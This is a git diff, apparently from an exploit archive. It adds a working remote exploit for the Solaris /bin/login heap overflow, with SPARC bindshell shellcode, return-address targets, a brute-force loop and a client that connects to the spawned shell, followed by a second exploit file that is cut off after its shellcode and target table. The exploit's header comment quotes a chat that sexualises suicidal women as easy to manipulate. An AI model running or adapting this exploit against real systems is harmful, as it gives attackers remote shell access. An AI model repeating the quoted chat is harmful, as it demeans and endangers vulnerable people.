| 3792 | * when the LOCKOUT option is in use. | ||
| 3793 | */ | ||
| 3794 | if ((++count >= Lockout) && | ||
| 3795 | (notlockout(user) == NULL)) { | ||
| 3796 | retval = fork(); | ||
| 3797 | switch (retval) { | ||
| 3798 | case -1: | ||
| 3799 | close(fd); | ||
| 3800 | return (BL_BADLOCK); | ||
| 3801 | case 0: | ||
| 3802 | close(fd); | ||
| 3803 | signal(SIGALRM, SIG_DFL); | ||
| 3804 | signal(SIGHUP, SIG_DFL); | ||
| 3805 | execl("/bin/passwd", "passwd", | ||
| 3806 | "-l", user, (char *)0); | ||
| 3807 | exit(1); | ||
| 3808 | } | ||
| 3809 | if (waitpid(retval, &wstatus, 0) < 0 || | ||
| 3810 | wstatus != 0) { | ||
| 3811 | close(fd); | ||
| 3812 | return (BL_BADLOCK); | ||
| 3813 | } | ||
| 3814 | count = '\0'; | ||
| 3815 | lockok = 1; | ||
| 3816 | } | ||
| 3817 | } | ||
| 3818 | else { | ||
| 3819 | /* | ||
| 3820 | * On successful login, reset count to zero. | ||
| 3821 | */ | ||
| 3822 | count = '\0'; | ||
| 3823 | } | ||
| 3824 | /* | ||
| 3825 | * Write back updated count. | ||
| 3826 | */ | ||
| 3827 | if (write(fd, &count, 1) != 1) { | ||
| 3828 | close(fd); | ||
| 3829 | if (lockok) | ||
| 3830 | return(BL_LOCK_BADFILE); | ||
| 3831 | return(BL_BADFILE); | ||
| 3832 | } | ||
| 3833 | else { | ||
| 3834 | close(fd); | ||
| 3835 | if (lockok) | ||
| 3836 | return(BL_LOCK); | ||
| 3837 | return(BL_WRITE); | ||
| 3838 | } | ||
| 3839 | } | ||
| 3840 | return(BL_LOCK); | ||
| 3841 | } | ||
| 3842 | |||
| 3843 | /* | ||
| 3844 | * Determine if `user' is cleared for capability state `cap'. | ||
| 3845 | * This function is dependent upon the internal representation | ||
| 3846 | * of cap_t. | ||
| 3847 | */ | ||
| 3848 | static int | ||
| 3849 | cap_user_cleared (const char *user, const cap_t cap) | ||
| 3850 | { | ||
| 3851 | struct user_cap *clp; | ||
| 3852 | cap_t pcap; | ||
| 3853 | int result; | ||
| 3854 | |||
| 3855 | if ((clp = sgi_getcapabilitybyname(user)) == NULL) | ||
| 3856 | pcap = cap_init(); | ||
| 3857 | else | ||
| 3858 | pcap = cap_from_text(clp->ca_allowed); | ||
| 3859 | |||
| 3860 | result = CAP_ID_ISSET(cap->cap_effective, pcap->cap_effective) && | ||
| 3861 | CAP_ID_ISSET(cap->cap_permitted, pcap->cap_permitted) && | ||
| 3862 | CAP_ID_ISSET(cap->cap_inheritable, pcap->cap_inheritable); | ||
| 3863 | |||
| 3864 | (void) cap_free(pcap); | ||
| 3865 | |||
| 3866 | return result; | ||
| 3867 | } | ||
diff --git a/exploits/7350logout/login-27-x86 b/exploits/7350logout/login-27-x86 new file mode 100644 index 0000000..b1cf0e0 --- /dev/null +++ b/exploits/7350logout/login-27-x86 | |||
| Binary files differ | |||
diff --git a/exploits/7350logout/login-ex.c-20020318-morgan b/exploits/7350logout/login-ex.c-20020318-morgan new file mode 100644 index 0000000..4b41531 --- /dev/null +++ b/exploits/7350logout/login-ex.c-20020318-morgan | |||
| @@ -0,0 +1,533 @@ | |||
| 1 | /* | ||
| 2 | Solaris /bin/login array mismangement exploit by morgan@sexter.com | ||
| 3 | |||
| 4 | compile: | ||
| 5 | use -DSOLARIS if your running it on a big endian system.... | ||
| 6 | |||
| 7 | friendly advice to find that special someone: | ||
| 8 | [ronin(ronin@segfault.net)] think if i make 'the lonely hearts club' at college... | ||
| 9 | [ronin(ronin@segfault.net)] it'll have a psych. effect on chicks? | ||
| 10 | [msg(ronin)] you'd get all the suicidal chicks | ||
| 11 | [ronin(ronin@segfault.net)] they have like clubs and shit... chess clubs, sport, rollerblading, etc. | ||
| 12 | [ronin(ronin@segfault.net)] u can make ur own | ||
| 13 | [msg(ronin)] yah.. most schools do | ||
| 14 | [ronin(ronin@segfault.net)] they should be the best in bed | ||
| 15 | [ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion | ||
| 16 | [ronin(ronin@segfault.net)] and all that angst | ||
| 17 | [msg(ronin)] always thinking | ||
| 18 | [ronin(ronin@segfault.net)] can be harnessed for sexual gratification | ||
| 19 | [msg(ronin)] your a quite a sexual trickster | ||
| 20 | [ronin(ronin@segfault.net)] plus | ||
| 21 | [ronin(ronin@segfault.net)] suicidal = pain | ||
| 22 | [ronin(ronin@segfault.net)] pain = bdsm | ||
| 23 | [ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed | ||
| 24 | [msg(ronin)] /me wanders off slowly | ||
| 25 | [ronin(ronin@segfault.net)] but suicidal chicks like to cover the full spectrum of pain | ||
| 26 | [ronin(ronin@segfault.net)] and pain and pleasure are one | ||
| 27 | |||
| 28 | greets: | ||
| 29 | matthew, pioneering the pinkhat movement... ryan&drago, reading telnet rfcs for me.. | ||
| 30 | ron1n, OMG! You're in school now!@#$! The metaray, level 6 on everquest now! | ||
| 31 | blueboar, for his exquisite mailing list.. | ||
| 32 | antisec for being so darn hackerifically ethical... keep up the faith | ||
| 33 | and arcanum the aim sexual predator... | ||
| 34 | */ | ||
| 35 | |||
| 36 | #include <stdio.h> | ||
| 37 | #include <unistd.h> | ||
| 38 | #include <sys/socket.h> | ||
| 39 | #include <sys/types.h> | ||
| 40 | #include <string.h> | ||
| 41 | #include <errno.h> | ||
| 42 | #include <netinet/in.h> | ||
| 43 | #include <netdb.h> | ||
| 44 | #include <arpa/inet.h> | ||
| 45 | #include <arpa/telnet.h> | ||
| 46 | |||
| 47 | #define NOPS 8 | ||
| 48 | |||
| 49 | struct { | ||
| 50 | char *name; | ||
| 51 | unsigned long reta; | ||
| 52 | unsigned long retl; | ||
| 53 | }targets[] = { | ||
| 54 | { "SunOS 5.7... local", 0xffbef85c, 0x20026fc8}, | ||
| 55 | { "SunOS 5.7... remote", 0xffbef8bc, 0x20026fc8}, | ||
| 56 | { "SunOS 5,7... remote 2", 0xffbef824, 0x20026fc8}, | ||
| 57 | |||
| 58 | { NULL, 0, 0 } | ||
| 59 | }; | ||
| 60 | |||
| 61 | unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */ | ||
| 62 | "\x10\x80\x00\x03" /* b foolabel */ | ||
| 63 | "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ | ||
| 64 | /* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */ | ||
| 65 | |||
| 66 | |||
| 67 | |||
| 68 | "\xa0\x23\xa0\x10" /* sub %sp, 16, %l0 */ | ||
| 69 | "\xae\x23\x80\x10" /* sub %sp, %l0, %l7 */ | ||
| 70 | "\xee\x23\xbf\xec" /* st %l7, [%sp - 20] */ | ||
| 71 | "\x82\x05\xe0\xd6" /* add %l7, 214, %g1 */ | ||
| 72 | "\x90\x25\xe0\x0e" /* sub %l7, 14, %o0 */ | ||
| 73 | "\x92\x25\xe0\x0e" /* sub %l7, 14, %o1 */ | ||
| 74 | "\x94\x1c\x40\x11" /* xor %l1, %l1, %o2 */ | ||
| 75 | "\x96\x1c\x40\x11" /* xor %l1, %l1, %o3 */ | ||
| 76 | "\x98\x25\xe0\x0f" /* sub %l7, 15, %o4 */ | ||
| 77 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 78 | "\xa4\x1a\x80\x08" /* xor %o2, %o0, %l2 */ | ||
| 79 | "\xd2\x33\xbf\xf0" /* sth %o1, [%sp - 16] */ | ||
| 80 | "\xac\x10\x27\xd1" /* mov 2001, %l6 */ | ||
| 81 | "\xec\x33\xbf\xf2" /* sth %l6, [%sp - 14] */ | ||
| 82 | "\xc0\x23\xbf\xf4" /* st %g0, [%sp - 12] */ | ||
| 83 | "\x82\x05\xe0\xd8" /* add %l7, 216, %g1 */ | ||
| 84 | "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ | ||
| 85 | "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */ | ||
| 86 | "\x94\x1a\xc0\x17" /* xor %o3, %l7, %o2 */ | ||
| 87 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 88 | "\x82\x05\xe0\xd9" /* add %l7, 217, %g1 */ | ||
| 89 | "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ | ||
| 90 | "\x92\x25\xe0\x0b" /* sub %l7, 11, %o1 */ | ||
| 91 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 92 | "\x82\x05\xe0\xda" /* add %l7, 218, %g1 */ | ||
| 93 | "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */ | ||
| 94 | "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */ | ||
| 95 | "\x94\x23\xa0\x14" /* sub %sp, 20, %o2 */ | ||
| 96 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 97 | "\xa6\x1a\xc0\x08" /* xor %o3, %o0, %l3 */ | ||
| 98 | "\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */ | ||
| 99 | "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ | ||
| 100 | "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ | ||
| 101 | "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ | ||
| 102 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 103 | "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ | ||
| 104 | "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ | ||
| 105 | "\x94\x02\xe0\x01" /* add %o3, 1, %o2 */ | ||
| 106 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 107 | "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */ | ||
| 108 | "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */ | ||
| 109 | "\x94\x02\xe0\x02" /* add %o3, 2, %o2 */ | ||
| 110 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 111 | "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ | ||
| 112 | "\x82\x02\xe0\x17" /* add %o3, 23, %g1 */ | ||
| 113 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 114 | "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */ | ||
| 115 | "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ | ||
| 116 | "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */ | ||
| 117 | "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */ | ||
| 118 | "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */ | ||
| 119 | "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ | ||
| 120 | "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */ | ||
| 121 | "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */ | ||
| 122 | "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */ | ||
| 123 | "\x82\x02\xe0\x3b" /* add %o3, 59, %g1 */ | ||
| 124 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 125 | "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */ | ||
| 126 | "\x82\x02\xe0\x01" /* add %o3, 1, %g1 */ | ||
| 127 | "\x91\xd0\x38\x08" /* ta 0x8 */ | ||
| 128 | ; | ||
| 129 | |||
| 130 | |||
| 131 | static char nop[]="\x80\x1c\x40\x11"; | ||
| 132 | |||
| 133 | void usage(char **argv) { | ||
| 134 | int i; | ||
| 135 | |||
| 136 | fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n"); | ||
| 137 | fprintf(stderr, "usage: %s <host>\n", argv[0]); | ||
| 138 | fprintf(stderr, "\t-r <return address>\n"); | ||
| 139 | fprintf(stderr, "\t-l <return location>\n"); | ||
| 140 | fprintf(stderr, "\t-p <port>\n"); | ||
| 141 | fprintf(stderr, "\t-t <target number>\n"); | ||
| 142 | fprintf(stderr, "\t-e [for local /bin/login execution mode check for +s]\n"); | ||
| 143 | fprintf(stderr, "\t%s -e <options> | /bin/login\n", argv[0]); | ||
| 144 | fprintf(stderr, "\t-b brute force mode\n\n"); | ||
| 145 | fprintf(stderr, "targets are...\n"); | ||
| 146 | for(i=0; targets[i].name; i++) | ||
| 147 | fprintf(stderr, "\t%d) %s\n", i, targets[i].name); | ||
| 148 | |||
| 149 | fprintf(stderr, "\n"); | ||
| 150 | exit(0); | ||
| 151 | |||
| 152 | } | ||
| 153 | void die(char *error) { | ||
| 154 | fprintf(stderr, "Error: %s\n", error); | ||
| 155 | fprintf(stderr, "Program aborting..\n"); | ||
| 156 | exit(0); | ||
| 157 | |||
| 158 | } | ||
| 159 | |||
| 160 | void shift(unsigned long *addr) { | ||
| 161 | unsigned long tmp; | ||
| 162 | tmp = *addr >> 24; | ||
| 163 | tmp += *addr << 8 >> 24 << 8; | ||
| 164 | tmp += *addr << 16 >> 24 << 16; | ||
| 165 | tmp += *addr << 24; | ||
| 166 | *addr = tmp; | ||
| 167 | return; | ||
| 168 | } | ||
| 169 | |||
| 170 | int write_with_iac(int fd, char *buff, int s) | ||
| 171 | { | ||
| 172 | int i; | ||
| 173 | unsigned char c=0, pt; | ||
| 174 | for (i=0; i<s; i++) { | ||
| 175 | c=(unsigned char)buff[i]; | ||
| 176 | if (c==0xff) if(write(fd, &c, 1) < 0) | ||
| 177 | die("Write failed sending IAC"); | ||
| 178 | if(write(fd, &c, 1)<0) | ||
| 179 | die("Write failed sending user string"); | ||
| 180 | } | ||
| 181 | } | ||
| 182 | |||
| 183 | void send_ww(int fd, unsigned char arg, int a) { | ||
| 184 | char buf[3]; | ||
| 185 | char *p=buf; | ||
| 186 | |||
| 187 | *p++ = IAC; | ||
| 188 | if(a == WILL) | ||
| 189 | *p++ = WILL; | ||
| 190 | else if(a == WONT) | ||
| 191 | *p++ = WONT; | ||
| 192 | else { | ||
| 193 | fprintf(stderr, "illegal send, %d is not a valid send type\n", a); | ||
| 194 | exit(0); | ||
| 195 | } | ||
| 196 | *p = arg; | ||
| 197 | |||
| 198 | write(fd, buf, 3); | ||
| 199 | |||
| 200 | return; | ||
| 201 | } | ||
| 202 | |||
| 203 | |||
| 204 | int connect_shell(char *host, int port) | ||
| 205 | { | ||
| 206 | struct sockaddr_in s; | ||
| 207 | int sock; | ||
| 208 | struct hostent *h; | ||
| 209 | unsigned char c; | ||
| 210 | char commands[] = "cd /; echo; uname -a; id ;echo; " | ||
| 211 | "echo Mommy wow.. im a hacker now; echo ;\n\n"; | ||
| 212 | char buf[2048]; | ||
| 213 | fd_set fds; | ||
| 214 | int r; | ||
| 215 | |||
| 216 | s.sin_family = AF_INET; | ||
| 217 | s.sin_port = htons(port); | ||
| 218 | s.sin_addr.s_addr = inet_addr(host); | ||
| 219 | |||
| 220 | if ((h=gethostbyname(host)) == NULL) | ||
| 221 | { | ||
| 222 | fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno)); | ||
| 223 | return -1; | ||
| 224 | } | ||
| 225 | memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr)); | ||
| 226 | |||
| 227 | if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) == -1) | ||
| 228 | return sock; | ||
| 229 | |||
| 230 | if (connect (sock, (struct sockaddr *)&s, sizeof(s)) == -1) | ||
| 231 | { | ||
| 232 | close (sock); | ||
| 233 | return -1; | ||
| 234 | } | ||
| 235 | |||
| 236 | write(sock, commands, strlen(commands)); | ||
| 237 | |||
| 238 | for(;;) | ||
| 239 | { | ||
| 240 | FD_ZERO(&fds); | ||
| 241 | FD_SET(fileno(stdin), &fds); | ||
| 242 | FD_SET(sock, &fds); | ||
| 243 | select(255, &fds, NULL, NULL, NULL); | ||
| 244 | |||
| 245 | if(FD_ISSET(sock, &fds)) | ||
| 246 | { | ||
| 247 | memset(buf, 0x0, sizeof(buf)); | ||
| 248 | r = read (sock, buf, sizeof(buf) - 1); | ||
| 249 | if(r <= 0) | ||
| 250 | { | ||
| 251 | fprintf(stderr, "Connection closed.\n"); | ||
| 252 | exit(0); | ||
| 253 | } | ||
| 254 | fprintf(stderr, "%s", buf); | ||
| 255 | } | ||
| 256 | |||
| 257 | if(FD_ISSET(fileno(stdin), &fds)) | ||
| 258 | { | ||
| 259 | memset(buf, 0x0, sizeof(buf)); | ||
| 260 | read(fileno(stdin), buf, sizeof(buf) - 1); | ||
| 261 | write(sock, buf, strlen(buf)); | ||
| 262 | } | ||
| 263 | } | ||
| 264 | return sock; | ||
| 265 | } | ||
| 266 | int do_telnet_negotation(char *host, int port) | ||
| 267 | { | ||
| 268 | struct sockaddr_in s; | ||
| 269 | int fd, ret; | ||
| 270 | u_char c, buf[3]; | ||
| 271 | struct hostent *h; | ||
| 272 | |||
| 273 | s.sin_family = AF_INET; | ||
| 274 | s.sin_port = htons(port); | ||
| 275 | s.sin_addr.s_addr = inet_addr(host); | ||
| 276 | |||
| 277 | if ((h=gethostbyname(host)) == NULL) | ||
| 278 | { | ||
| 279 | fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno)); | ||
| 280 | return -1; | ||
| 281 | } | ||
| 282 | |||
| 283 | memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr)); | ||
| 284 | |||
| 285 | if ( (fd = socket (AF_INET, SOCK_STREAM, 0)) == -1) | ||
| 286 | return fd; | ||
| 287 | |||
| 288 | if (connect (fd, (struct sockaddr *)&s, sizeof(s)) == -1) | ||
| 289 | { | ||
| 290 | close (fd); | ||
| 291 | return -1; | ||
| 292 | } | ||
| 293 | |||
| 294 | // send DONT's for all the DO's... ;) | ||
| 295 | send_ww(fd, TELOPT_TTYPE, WONT); | ||
| 296 | send_ww(fd, TELOPT_NAWS, WONT); | ||
| 297 | send_ww(fd, TELOPT_XDISPLOC, WONT); | ||
| 298 | send_ww(fd, TELOPT_NEW_ENVIRON, WONT); | ||
| 299 | send_ww(fd, TELOPT_OLD_ENVIRON, WONT); | ||
| 300 | send_ww(fd, TELOPT_BINARY, WILL); | ||
| 301 | |||
| 302 | return fd; | ||
| 303 | } | ||
| 304 | |||
| 305 | int setup_exploit(char *buffer, unsigned long retl, unsigned long reta, int bf) { | ||
| 306 | int i,j; | ||
| 307 | char *ptr; | ||
| 308 | char buf[3000]; | ||
| 309 | char blah[512]; | ||
| 310 | unsigned long *a; | ||
| 311 | unsigned long strncpy_addr = 0xffbef2a8; | ||
| 312 | unsigned long chunk_size = 0xffffffd5; | ||
| 313 | unsigned long chunk = 0xfffffff0; | ||
| 314 | unsigned long free_addr = 0x20026eec; | ||
| 315 | #ifndef SOLARIS | ||
| 316 | shift(&strncpy_addr); | ||
| 317 | shift(&chunk_size); | ||
| 318 | shift(&chunk); | ||
| 319 | shift(&free_addr); | ||
| 320 | #endif | ||
| 321 | fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n"); | ||
| 322 | fprintf(stderr, "<matthew> I've brought more terror to this network then Shdwknght to a chinese food buffet.\n\n"); | ||
| 323 | if(!bf) { | ||
| 324 | fprintf(stderr, "using %#x as return address\n", reta); | ||
| 325 | fprintf(stderr, "using %#x as return location\n", retl); | ||
| 326 | } | ||
| 327 | else fprintf(stderr, "trying return address %#x\n", reta); | ||
| 328 | |||
| 329 | memset(&buf[0], 0x41, 512); | ||
| 330 | // SETUP FIRST CHUNK | ||
| 331 | // size -44+1 | ||
| 332 | ptr = &buf[36]; | ||
| 333 | memcpy(ptr, &chunk_size, 4); | ||
| 334 | |||
| 335 | // SETUP CHUNK numbah 2 | ||
| 336 | retl -= 32; | ||
| 337 | reta -= 8; | ||
| 338 | #ifndef SOLARIS | ||
| 339 | shift(&retl); | ||
| 340 | shift(&reta); | ||
| 341 | #endif | ||
| 342 | ptr = buf; | ||
| 343 | |||
| 344 | memcpy(ptr, &chunk, 4); | ||
| 345 | // second addr free'd | ||
| 346 | memcpy(ptr+4, &free_addr, 4); | ||
| 347 | memcpy(ptr+8, (void *)&retl, 4); | ||
| 348 | memset(ptr+16, 0xff, 4); | ||
| 349 | memcpy(ptr+32, (void *) &reta, 4); | ||
| 350 | |||
| 351 | // fake chunk built.. setting up overflow.. | ||
| 352 | for(i=0; i < 256; i++) { | ||
| 353 | if( i < 63 || i > 190) | ||
| 354 | blah[i] = 0x41; | ||
| 355 | else { | ||
| 356 | blah[i++] = 0x20; | ||
| 357 | blah[i] = 0x41; | ||
| 358 | } | ||
| 359 | } | ||
| 360 | |||
| 361 | //free addr 1 send in addr of mem | ||
| 362 | memcpy(blah+252, &free_addr, 4); | ||
| 363 | |||
| 364 | memcpy(blah+204, &strncpy_addr, 4); | ||
| 365 | |||
| 366 | blah[256] = 0x00; | ||
| 367 | |||
| 368 | |||
| 369 | // add shellcode to end of buf | ||
| 370 | // pad with nops.. more is better... but not too many.. | ||
| 371 | for(i=511-sizeof(shellcode)-2-4*NOPS; i < 511-sizeof(shellcode); i+=4) | ||
| 372 | memcpy(&buf[i], nop, sizeof(nop)-1); | ||
| 373 | memcpy(&buf[511-sizeof(shellcode)-2], shellcode, sizeof(shellcode)); | ||
| 374 | |||
| 375 | |||
| 376 | // convert nulls to space.. | ||
| 377 | for(i=0,j=0;i<511;i++) { | ||
| 378 | if(buf[i] == 0x00) { | ||
| 379 | buf[i] = 0x20; j++; } | ||
| 380 | } | ||
| 381 | buf[511] = 0x00; | ||
| 382 | |||
| 383 | sprintf(buffer,"%s%s\n", &blah,&buf); | ||
| 384 | |||
| 385 | return; | ||
| 386 | } | ||
| 387 | |||
| 388 | int main(int argc, char **argv) { | ||
| 389 | int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001; | ||
| 390 | char out[1024]; | ||
| 391 | char in[24]; | ||
| 392 | char ret[] = "\x0a"; | ||
| 393 | char *host; | ||
| 394 | unsigned char bshell = 0xd5; | ||
| 395 | char cc; | ||
| 396 | unsigned long reta, retl; | ||
| 397 | |||
| 398 | |||
| 399 | FILE *login; | ||
| 400 | |||
| 401 | retl = 0x20026fc8; | ||
| 402 | reta = 0xffbef864; | ||
| 403 | if(argc < 2) | ||
| 404 | usage(argv); | ||
| 405 | |||
| 406 | while((c = getopt(argc, argv, "r:l:p:et:b")) != EOF){ | ||
| 407 | switch(c){ | ||
| 408 | case 'r': | ||
| 409 | reta = strtoul(optarg, NULL, 0); | ||
| 410 | break; | ||
| 411 | case 'l': | ||
| 412 | retl = strtoul(optarg, NULL, 0); | ||
| 413 | break; | ||
| 414 | case 'p': | ||
| 415 | port = atoi(optarg); | ||
| 416 | break; | ||
| 417 | case 'e': | ||
| 418 | local=1; | ||
| 419 | break; | ||
| 420 | case 't': | ||
| 421 | type = atoi(optarg); | ||
| 422 | if(type < 0 || type > 2){ | ||
| 423 | fprintf(stderr, "invalid target\n"); | ||
| 424 | usage(argv); | ||
| 425 | exit(0); | ||
| 426 | } | ||
| 427 | if(strstr(targets[type].name, "local")) | ||
| 428 | local = 1; | ||
| 429 | retl = targets[type].retl; | ||
| 430 | reta = targets[type].reta; | ||
| 431 | break; | ||
| 432 | case 'b': | ||
| 433 | bf=1; | ||
| 434 | break; | ||
| 435 | } | ||
| 436 | } | ||
| 437 | |||
| 438 | if(!local) { | ||
| 439 | if(!argv[optind] || !*argv[optind]) | ||
| 440 | usage(argv); | ||
| 441 | |||
| 442 | host = argv[optind]; | ||
| 443 | } | ||
| 444 | |||
| 445 | if(local) { | ||
| 446 | fprintf(stderr, "Local execution mode.. make sure to run %s [args] | /bin/login\n", argv[0]); | ||
| 447 | fprintf(stderr, "first wait for Password: prompt.. hit enter then,"); | ||
| 448 | fprintf(stderr, "wait for Login incorrect, and attempt to connect to localhost on %d\n", remp); | ||
| 449 | |||
| 450 | } | ||
| 451 | if(bf) { | ||
| 452 | reta = 0xffbef800; | ||
| 453 | } | ||
| 454 | |||
| 455 | |||
| 456 | for(;reta < 0xffbef8ff; reta+=4) { | ||
| 457 | memset(out, 0, sizeof(out)); | ||
| 458 | setup_exploit(out, retl, reta, bf); | ||
| 459 | |||
| 460 | if(local) { | ||
| 461 | if(bf) { | ||
| 462 | fprintf(stderr, "not supported do it manually you lazy fuck\n"); | ||
| 463 | exit(0); | ||
| 464 | } | ||
| 465 | printf("%s", out); | ||
| 466 | } | ||
| 467 | else { | ||
| 468 | char *ptr=in; | ||
| 469 | fd = do_telnet_negotation (host, port); | ||
| 470 | |||
| 471 | memset(in, 0, sizeof(in)); | ||
| 472 | |||
| 473 | while (!strstr(ptr, ":")) { | ||
| 474 | if(ptr==&in[0]) { | ||
| 475 | memset(in, 0, sizeof(in)); | ||
| 476 | if(read(fd, in, sizeof(in)-2) < 0) | ||
| 477 | die("Failed read waiting for login: "); | ||
| 478 | } | ||
| 479 | for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++); | ||
| 480 | if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) | ||
| 481 | ptr = &in[0]; | ||
| 482 | else | ||
| 483 | ptr++; | ||
| 484 | |||
| 485 | } | ||
| 486 | memset(in, 0, sizeof(in)); | ||
| 487 | fprintf(stdout, "Read login, sending bad user string now\n"); | ||
| 488 | write_with_iac(fd, out, strlen(out)); | ||
| 489 | fprintf(stdout, "waiting for password... "); | ||
| 490 | |||
| 491 | while (!strstr(ptr, ":")) { | ||
| 492 | if(ptr==&in[0]) { | ||
| 493 | memset(in, 0, sizeof(in)); | ||
| 494 | if(read(fd, in, sizeof(in)-2) < 0) | ||
| 495 | die("Failed read waiting for password: "); | ||
| 496 | } | ||
| 497 | for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++); | ||
| 498 | if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) ptr = &in[0]; | ||
| 499 | else ptr++; | ||
| 500 | } | ||
| 501 | memset(in, 0, sizeof(in)); | ||
| 502 | fprintf(stdout, "read Password: \nsending enter now\n"); | ||
| 503 | |||
| 504 | if(write(fd, ret, strlen(ret)) < 0) | ||
| 505 | die("Write failed on password"); | ||
| 506 | |||
| 507 | fprintf(stdout, "Sent overflow string.... waiting for Login incorrect\n"); | ||
| 508 | while (!strstr(ptr, "correct")) { | ||
| 509 | if(ptr==&in[0]) { | ||
| 510 | memset(in, 0, sizeof(in)); | ||
| 511 | if(read(fd, in, sizeof(in)-2) < 0) | ||
| 512 | die("Failed read waiting for Login Incorrect "); | ||
| 513 | } | ||
| 514 | for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++); | ||
| 515 | if( ptr==&in[sizeof(in)-2] || (ptr[0]==0 && ptr[1]==0)) | ||
| 516 | ptr = &in[0]; | ||
| 517 | else | ||
| 518 | ptr++; | ||
| 519 | |||
| 520 | } | ||
| 521 | fprintf(stdout, "Got it!\n"); | ||
| 522 | fprintf(stdout, "lets connect to our bindshell..\n"); | ||
| 523 | |||
| 524 | close(connect_shell(host, remp)); | ||
| 525 | |||
| 526 | close(fd); | ||
| 527 | } | ||
| 528 | if(!bf) return; | ||
| 529 | } | ||
| 530 | fprintf(stderr, "connection closed.\n"); | ||
| 531 | |||
| 532 | return; | ||
| 533 | } | ||
diff --git a/exploits/7350logout/loginex.c b/exploits/7350logout/loginex.c new file mode 100644 index 0000000..d07564e --- /dev/null +++ b/exploits/7350logout/loginex.c | |||
| @@ -0,0 +1,302 @@ | |||
| 1 | #include <stdio.h> | ||
| 2 | #include <string.h> | ||
| 3 | #include <netdb.h> | ||
| 4 | #include <unistd.h> | ||
| 5 | #include <errno.h> | ||
| 6 | #include <sys/socket.h> | ||
| 7 | #include <sys/types.h> | ||
| 8 | #include <netinet/in.h> | ||
| 9 | #include <arpa/telnet.h> | ||
| 10 | |||
| 11 | #ifdef SOLARIS | ||
| 12 | //typedef unsigned long u_int32_t; | ||
| 13 | #endif | ||
| 14 | |||
| 15 | #define BUFLEN 1024 | ||
| 16 | |||
| 17 | char shellcode[]= | ||
| 18 | //"aaaaaaaaaaaaaaaa" | ||
| 19 | //"aaaaaaaaaaaaaaaa" | ||
| 20 | //"aaaaaaaaaaaa"; | ||
| 21 | "\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0" | ||
| 22 | "\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4" | ||
| 23 | "\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08"; | ||
| 24 | |||
| 25 | struct { | ||
| 26 | char *name; | ||
| 27 | unsigned long in_addr; | ||
| 28 | unsigned long out_addr; | ||
| 29 | } targets[] = { | ||
| 30 | { "Solaris 8/SPARC", 0xff1bd538, 0xff1b7028 }, | ||
| 31 | { "Solaris 7/SPARC", 0xff1bb23c, 0xff1b4a44 }, | ||
| 32 | { "Solaris 6/SPARC", 0xff6a91f0, 0xef6a323c }, | ||
| 33 | { "Solaris 51/SPARC", 0xff61bfe8, 0xef615144 }, | ||
| 34 | { "tmogg", 0xff1bb23c,0xff1b4a44}, | ||
| 35 | { NULL, 0 } | ||
| 36 | }; | ||
| 37 | |||
| 38 | void usage(char *p) | ||
| 39 | { | ||
| 40 | int i; | ||
| 41 | |||
| 42 | fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n", p); | ||
| 43 | fprintf(stderr, "-t: target type (see below)\n"); | ||
| 44 | fprintf(stderr, "-p: port to use (default: 23)\n"); | ||
| 45 | fprintf(stderr, "-o: offset to use (default: 0)\n\n"); | ||
| 46 | |||
